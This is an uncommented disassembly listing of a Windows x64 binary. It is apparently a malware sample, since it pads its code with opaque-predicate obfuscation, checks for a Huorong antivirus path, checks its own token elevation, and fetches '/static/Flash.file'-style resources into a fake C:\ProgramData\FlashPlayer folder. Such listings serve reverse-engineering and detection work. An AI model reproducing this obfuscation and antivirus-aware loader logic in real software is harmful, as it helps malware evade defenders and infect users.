mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007c50
jmp 0x140007c4e
sub rsp, 0x20
lea r8, [0x1400aea9e]
mov rcx, qword [rbp]
mov rdx, qword [rbp - 8]
call fcn.1400061f0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007c88
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007c88
jmp 0x140007c86
sub rsp, 0x20
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp]
mov r8, qword [rbp + 0x98]
call fcn.140003780
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007cc0
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007cc0
jmp 0x140007cbe
sub rsp, 0x20
lea r8, [0x1400aea9e]
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 8]
call fcn.1400061f0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007cf8
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007cf8
jmp 0x140007cf6
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0xa0]
call fcn.140003780
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
call fcn.140001f00
mov rcx, qword [rbp + 8]
call fcn.140001f00
mov rcx, qword [rbp]
call fcn.140001f00
mov rcx, qword [rbp - 8]
call fcn.140001f00
mov rcx, qword [rbp - 0x10]
call fcn.140001f00
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
call fcn.1400062d0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007d7a
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007d7a
jmp 0x140007d78
sub rsp, 0x20
mov rcx, qword [rbp + 0xa8]
mov rdx, qword [rbp + 0x30]
call fcn.140001e10
add rsp, 0x20
sub rsp, 0x20
mov rsi, qword [rbp + 0xf8]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str._common__stmapi
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140007de2
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007de2
jmp 0x140007de0
cmp dword [0x1400c35c0], 0xa
jl 0x140007dfe
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007dfe
jmp 0x140007dfc
cmp dword [0x1400c35e8], 0xa
jl 0x140007e1a
mov eax, dword [0x1400c35ec]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007e59
jmp 0x140007e1a
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rax]
sub rsp, 0x20
mov rdx, qword [rbp + 0x130]
mov r8, qword [rbp + 0xf8]
call fcn.14006f7b0
add rsp, 0x20
cmp dword [0x1400c35e8], 0xa
jl 0x140007e80
mov eax, dword [0x1400c35ec]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007e80
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rax]
sub rsp, 0x20
mov rdx, qword [rbp + 0x130]
mov r8, qword [rbp + 0xf8]
call fcn.14006f7b0
add rsp, 0x20
jmp 0x140007e1a
sub rsp, 0x20
mov rcx, qword [rbp + 0xf8]
call fcn.140001f00
add rsp, 0x20
sub rsp, 0x20
call fcn.140004900
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007ebd
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007ebd
jmp 0x140007ebb
sub rsp, 0x20
mov rsi, qword [rbp + 0x160]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.C:Program_FilesHuorongSysdiag_binx86
mov r8d, 0x28
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140007f0d
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007f0d
jmp 0x140007f0b
cmp dword [0x1400c35c0], 0xa
jl 0x140007f29
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007f29
jmp 0x140007f27
sub rsp, 0x20
lea rdx, str.C:_ProgramData_FlashPlayer
mov rcx, qword [rbp + 0x110]
xor r8d, r8d
call fcn.14000ad50
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140007f63
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007f63
jmp 0x140007f61
sub rsp, 0x20
mov rcx, qword [rbp + 0x110]
call fcn.14000add0
add rsp, 0x20
mov r8d, dword [0x1400c35c4]
mov edx, dword [0x1400c35c0]
lea ecx, [r8 + 1]
imul ecx, r8d
and ecx, 1
test al, al
je 0x140007fd9
cmp edx, 0xa
jl 0x140007f9e
test ecx, ecx
je 0x140007f9e
jmp 0x140007f9c
sub rsp, 0x20
mov rcx, qword [rbp + 0x110]
call fcn.14000afc0
add rsp, 0x20
mov r8d, dword [0x1400c35c4]
mov edx, dword [0x1400c35c0]
lea ecx, [r8 + 1]
imul ecx, r8d
and ecx, 1
cmp edx, 0xa
jl 0x140007fd5
test ecx, ecx
je 0x140007fd5
jmp 0x140007fd3
test al, al
jne 0x14000801f
cmp edx, 0xa
jl 0x140007fe4
test ecx, ecx
je 0x140007fe4
jmp 0x140007fe2
sub rsp, 0x20
mov rcx, qword [rbp + 0x110]
call fcn.14000b090
add rsp, 0x20
mov r8d, dword [0x1400c35c4]
mov edx, dword [0x1400c35c0]
lea ecx, [r8 + 1]
imul ecx, r8d
and ecx, 1
cmp edx, 0xa
jl 0x14000801b
test ecx, ecx
je 0x14000801b
jmp 0x140008019
test al, al
je 0x140008032
cmp edx, 0xa
jl 0x140008294
test ecx, ecx
je 0x140008294
jmp 0x140008030
mov rsi, qword [rbp + 0x120]
mov qword [rsi], 0
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 8
mov r8, rsi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
add rsp, 0x20
mov r8d, dword [0x1400c35c4]
mov ecx, dword [0x1400c35c0]
lea edx, [r8 + 1]
imul edx, r8d
and edx, 1
cmp ecx, 0xa
jl 0x1400080f2
test edx, edx
je 0x1400080f2
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rbx, qword [rbp + 0x120]
mov qword [rbx], 0
sub rsp, 0x20
call rsi
mov rcx, rax
mov edx, 8
mov r8, rbx
call rdi
add rsp, 0x20
mov qword [rbx], 0
sub rsp, 0x20
call rsi
mov rcx, rax
mov edx, 8
mov r8, rbx
call rdi
add rsp, 0x20
mov r8d, dword [0x1400c35c4]
mov ecx, dword [0x1400c35c0]
lea edx, [r8 + 1]
imul edx, r8d
and edx, 1
cmp ecx, 0xa
jl 0x1400080f2
test edx, edx
jne 0x140008095
test eax, eax
je 0x14000833c
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax]
sub rsp, 0x30
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov edx, setsockopt
mov r8, qword [rbp - 0x50]
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
add rsp, 0x30
mov esi, eax
cmp dword [0x1400c35c0], 0xa
jl 0x1400081bc
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400081bc
mov rdi, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r14, qword [rbp - 0x78]
mov rbx, qword [rbp - 0x50]
mov rsi, qword [rbp + 0x120]
mov rcx, qword [rsi]
sub rsp, 0x30
mov qword [rsp + 0x20], r14
mov edx, setsockopt
mov r8, rbx
mov r9d, 4
call rdi
add rsp, 0x30
mov rcx, qword [rsi]
sub rsp, 0x30
mov qword [rsp + 0x20], r14
mov edx, setsockopt
mov r8, rbx
mov r9d, 4
call rdi
add rsp, 0x30
mov esi, eax
cmp dword [0x1400c35c0], 0xa
jl 0x1400081bc
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008159
mov rax, qword [rbp - 0x50]
mov edi, dword [rax]
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov edx, dword [0x1400c35c4]
mov eax, dword [0x1400c35c0]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008272
test ecx, ecx
je 0x140008272
mov rbx, qword [rbp + 0x120]
mov rcx, qword [rbx]
sub rsp, 0x20
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r14
add rsp, 0x20
mov rcx, qword [rbx]
sub rsp, 0x20
call r14
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x14000823c
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x1400081ff
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov edx, dword [0x1400c35c4]
mov eax, dword [0x1400c35c0]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008272
test ecx, ecx
jne 0x1400081ff
cmp eax, 0xa
jl 0x14000827f
test ecx, ecx
jne 0x140008345
test esi, esi
je 0x140008347
test edi, edi
je 0x140008347
jmp 0x140008647
sub rsp, 0x20
mov rsi, qword [rbp + 0xb0]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae96e]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x1400082e4
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400082e4
jmp 0x1400082e2
sub rsp, 0x20
mov rsi, qword [rbp + 0xb8]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae9b1]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x14000844d
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000844d
jmp 0x14000833a
cmp ecx, 0xa
jl 0x140008347
test edx, edx
je 0x140008347
jmp 0x140008345
mov rbx, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rsi, str.S_MR_vz
lea rdi, [0x1400aeb60]
mov r14, qword [rbp - 0x58]
sub rsp, 0x20
xor ecx, ecx
mov rdx, qword [rbp - 0x58]
mov r8d, 0x104
call rbx
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008418
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008418
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
mov r8d, 0x104
call rbx
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
mov r9d, 0x40
mov r15, qword [sym.imp.USER32.dll_MessageBoxW]
call r15
xor ecx, ecx
mov rdx, r14
mov r8d, 0x104
call rbx
xor ecx, ecx
mov rdx, rsi
mov r8, rdi
mov r9d, 0x40
call r15
add rsp, 0x20
mov ecx, dword [0x1400c35c4]
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x1400c35c0], 0xa
jl 0x140008360
test eax, eax
jne 0x1400083a8
jmp 0x140008360
sub rsp, 0x20
mov rcx, qword [rbp - 0x58]
call fcn.140002890
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008647
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008647
jmp 0x14000844b
cmp dword [0x1400c35c0], 0xa
jl 0x140008469
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008469
jmp 0x140008467
sub rsp, 0x20
mov rsi, qword [rbp + 0xc0]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae9a3]
mov r8d, 2
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x1400084b9
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400084b9
jmp 0x1400084b7
cmp dword [0x1400c35c0], 0xa
jl 0x1400084d5
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400084d5
jmp 0x1400084d3
sub rsp, 0x20
mov rsi, qword [rbp + 0xc8]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae96a]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140008525
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008525
jmp 0x140008523
cmp dword [0x1400c35c0], 0xa
jl 0x140008541
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008541
jmp 0x14000853f
sub rsp, 0x20
mov rsi, qword [rbp + 0xd0]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, [0x1400ae9ad]
mov r8d, 3
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140008591
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008591
jmp 0x14000858f
cmp dword [0x1400c35c0], 0xa
jl 0x1400085ad
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400085ad
jmp 0x1400085ab
sub rsp, 0x20
mov rcx, qword [rbp + 0x148]
mov rdx, qword [rbp + 0xb8]
mov r8d, 3
mov r9d, 1
call fcn.14000a950
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x1400085f0
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400085f0
jmp 0x1400085ee
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x14000863c
test ecx, ecx
je 0x14000863c
sub rsp, 0x20
mov rcx, qword [rbp + 0x148]
mov rdx, qword [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
je 0x140008656
cmp eax, 9
jg 0x140008689
jmp 0x140008656
sub rsp, 0x20
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub rsp, 0x20
mov rcx, qword [rbp + 0x148]
mov rdx, qword [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
cmp dword [0x1400c35d4], 0xa
jl 0x1400086a4
mov eax, dword [0x1400c35d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400086a4
sub rsp, 0x20
mov rcx, qword [rbp + 0x148]
mov rdx, qword [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
jmp 0x140008656
cmp dword [0x1400c35c0], 0xa
mov ecx, dword [0x1400c35dc]
mov eax, dword [0x1400c35d8]
jl 0x140008755
mov edx, dword [0x1400c35c4]
lea r8d, [rdx + 1]
imul r8d, edx
and r8d, 1
je 0x140008755
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jmp 0x1400086e0
cmp eax, 0xa
jl 0x1400086e9
test edx, edx
jne 0x14000872c
mov rax, qword [rbp + 0x148]
lea rsi, [rax + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
mov ecx, dword [0x1400c35dc]
mov eax, dword [0x1400c35d8]
cmp eax, 0xa
jl 0x140008755
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140008755
mov rax, qword [rbp + 0x148]
lea rsi, [rax + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
jmp 0x1400086e9
cmp eax, 0xa
jl 0x140008765
lea eax, [rcx + 1]
imul eax, ecx
and eax, 1
jne 0x1400087aa
mov rax, qword [rbp + 0x148]
lea rsi, [rax + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
mov ecx, dword [0x1400c35dc]
mov eax, dword [0x1400c35d8]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x1400087d3
test edx, edx
je 0x1400087d3
mov rax, qword [rbp + 0x148]
lea rsi, [rax + 0x98]
sub rsp, 0x20
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
add rsp, 0x20
jmp 0x140008765
cmp dword [0x1400c35c0], 0xa
jl 0x1400087f4
mov ecx, dword [0x1400c35c4]
lea r8d, [rcx + 1]
imul r8d, ecx
and r8d, 1
jne 0x1400086e0
sub rsp, 0x20
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp + 0xc0]
mov r8d, 3
mov r9d, 1
call fcn.14000a950
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008837
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008837
jmp 0x140008835
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008883
test ecx, ecx
je 0x140008883
sub rsp, 0x20
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
mov edx, dword [0x1400c35d0]
mov eax, dword [0x1400c35d4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
je 0x14000888c
cmp eax, 9
jg 0x1400088bf
sub rsp, 0x20
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
cmp dword [0x1400c35d4], 0xa
jl 0x1400088da
mov eax, dword [0x1400c35d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400088da
sub rsp, 0x20
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp - 0x18]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
add rsp, 0x20
jmp 0x14000888c
cmp dword [0x1400c35c0], 0xa
jl 0x1400088f6
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400088f6
jmp 0x1400088f4
add qword [rbp + 0x150], 0x98
mov eax, dword [0x1400c35dc]
mov ecx, dword [0x1400c35d8]
mov rdi, qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::ios_base::destructor_void____ptr64]
cmp ecx, 0xa
jl 0x140008924
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x14000895a
sub rsp, 0x20
mov rsi, qword [rbp + 0x150]
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call rdi
add rsp, 0x20
cmp dword [0x1400c35d8], 0xa
jl 0x140008978
mov eax, dword [0x1400c35dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008978
sub rsp, 0x20
mov rsi, qword [rbp + 0x150]
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call rdi
add rsp, 0x20
jmp 0x140008924
mov rax, qword [rbp - 0x20]
mov esi, dword [rax]
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
cmp dword [0x1400c35c0], 0xa
jl 0x1400089f8
mov ecx, dword [0x1400c35c4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x1400089f8
sub rsp, 0x20
mov rsi, qword [rbp + 0x150]
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call rdi
add rsp, 0x20
mov eax, dword [0x1400c35dc]
mov ecx, dword [0x1400c35d8]
cmp ecx, 0xa
jl 0x140008914
lea edx, [rax + 1]
imul edx, eax
and edx, 1
je 0x140008914
sub rsp, 0x20
mov rsi, qword [rbp + 0x150]
mov rcx, rsi
call fcn.14006dd80
mov rcx, rsi
call rdi
jmp 0x1400089a9
sub esi, eax
cmp dword [0x1400c35e0], 0xa
jl 0x140008a42
mov eax, dword [0x1400c35e4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008a42
sub rsp, 0x20
mov rcx, qword [rbp + 0x118]
mov edx, esi
call fcn.14006f200
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x118]
mov edx, esi
call fcn.14006f200
add rsp, 0x20
jmp 0x1400089fa
sub rsp, 0x20
mov rcx, qword [rbp + 0x118]
mov edx, esi
call fcn.14006f200
add rsp, 0x20
cmp dword [0x1400c35e0], 0xa
jl 0x140008a72
mov eax, dword [0x1400c35e4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008a14
sub rsp, 0x20
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x118]
call fcn.1400062d0
add rsp, 0x20
sub rsp, 0x20
lea r8, [0x1400aea9e]
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x38]
call fcn.140003960
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0xc8]
call fcn.140003780
add rsp, 0x20
sub rsp, 0x20
lea r8, [0x1400aea9e]
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
call fcn.1400061f0
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x58]
mov rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0xd0]
call fcn.140003780
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008b16
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008b16
jmp 0x140008b14
sub rsp, 0x20
lea r8, [0x1400aea9e]
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
call fcn.1400061f0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008b4e
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008b4e
jmp 0x140008b4c
sub rsp, 0x20
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0xb0]
call fcn.140003780
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008b86
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008bd5
jmp 0x140008b86
sub rsp, 0x20
mov rcx, qword [rbp + 0x50]
call fcn.140001f00
mov rcx, qword [rbp + 0x58]
call fcn.140001f00
mov rcx, qword [rbp + 0x60]
call fcn.140001f00
mov rcx, qword [rbp + 0x68]
call fcn.140001f00
mov rcx, qword [rbp + 0x70]
call fcn.140001f00
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008c0f
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008c0f
sub rsp, 0x20
mov rcx, qword [rbp + 0x50]
call fcn.140001f00
mov rcx, qword [rbp + 0x58]
call fcn.140001f00
mov rcx, qword [rbp + 0x60]
call fcn.140001f00
mov rcx, qword [rbp + 0x68]
call fcn.140001f00
mov rcx, qword [rbp + 0x70]
call fcn.140001f00
add rsp, 0x20
jmp 0x140008b86
sub rsp, 0x20
mov rcx, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0x40]
call fcn.1400062d0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008c43
mov eax, dword [0x1400c35c4]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008c43
jmp 0x140008c41
sub rsp, 0x20
mov rsi, qword [rbp + 0x140]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.C:_ProgramData_FlashPlayer_config.dat
mov r8d, 0x25
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140008c93
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008c93
jmp 0x140008c91
mov edx, dword [0x1400c35c4]
mov ecx, dword [0x1400c35c0]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140008cec
test eax, eax
je 0x140008cec
mov rcx, qword [rbp + 0x160]
cmp qword [rcx + 0x18], 0x10
jb 0x140008cc9
mov rax, qword [rbp + 0x160]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add rsp, 0x20
mov edx, dword [0x1400c35c4]
mov ecx, dword [0x1400c35c0]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140008cf7
test eax, eax
jne 0x140008d37
jmp 0x140008cf7
mov rcx, qword [rbp + 0x160]
cmp qword [rcx + 0x18], 0x10
jb 0x140008d0f
mov rax, qword [rbp + 0x160]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008d5f
mov ecx, dword [0x1400c35c4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140008d5f
mov rcx, qword [rbp + 0x160]
cmp qword [rcx + 0x18], 0x10
jb 0x140008d4f
mov rax, qword [rbp + 0x160]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add rsp, 0x20
jmp 0x140008cf7
sub rsp, 0x20
cmp eax, 0xffffffff
je 0x140008db4
mov rsi, qword [rbp + 0xf0]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str._static_Aries.file
mov r8d, reloc.WS2_32.dll_select
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140008e00
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008e00
jmp 0x140008db2
mov rsi, qword [rbp + 0xe8]
mov rcx, rsi
call fcn.14000b3d0
add rsp, 0x20
sub rsp, 0x20
lea rdx, str._static_Flash.file
mov r8d, reloc.WS2_32.dll_select
mov rcx, rsi
call fcn.14000b500
add rsp, 0x20
cmp dword [0x1400c3428], 0xa
jl 0x140008e49
mov eax, dword [0x1400c342c]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008e49
jmp 0x140008dfe
sub rsp, 0x20
mov rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xd8]
mov r8, qword [rbp + 0x140]
call fcn.1400012d0
add rsp, 0x20
cmp dword [0x1400c35c0], 0xa
jl 0x140008f1c
mov eax, dword [0x1400c35c4]
